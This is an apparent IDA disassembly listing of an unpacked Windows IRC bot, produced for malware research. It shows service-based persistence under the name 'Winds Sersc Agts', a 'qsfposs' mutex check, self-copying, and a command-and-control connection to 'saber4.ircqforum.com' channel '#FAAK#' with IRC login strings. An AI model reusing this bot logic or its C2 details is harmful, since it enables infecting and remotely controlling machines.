;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2E9926CEEAF3D058BA89023B76B68EE8

; File Name   :	u:\work\2e9926ceeaf3d058ba89023b76b68ee8_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26609FBh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2650BD4h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aQsfposs	; "qsfposs"
		push	ebx
		push	ebx
		nop
		call	near ptr 26801CDh
		push	eax
		nop
		call	near ptr 2680164h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26609FBh
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670E7Fh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2670D8Ch


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 26709D6h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2660E9Fh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2670D8Ch
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670982h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2670280h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650BD4h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2660E9Fh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2680164h
		push	esi
		nop
		call	near ptr 265092Ah
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2660E9Fh
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		call	near ptr 2670168h
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		call	near ptr 26709D6h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2660E9Fh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2660E9Fh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		call	near ptr 2660E9Fh
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
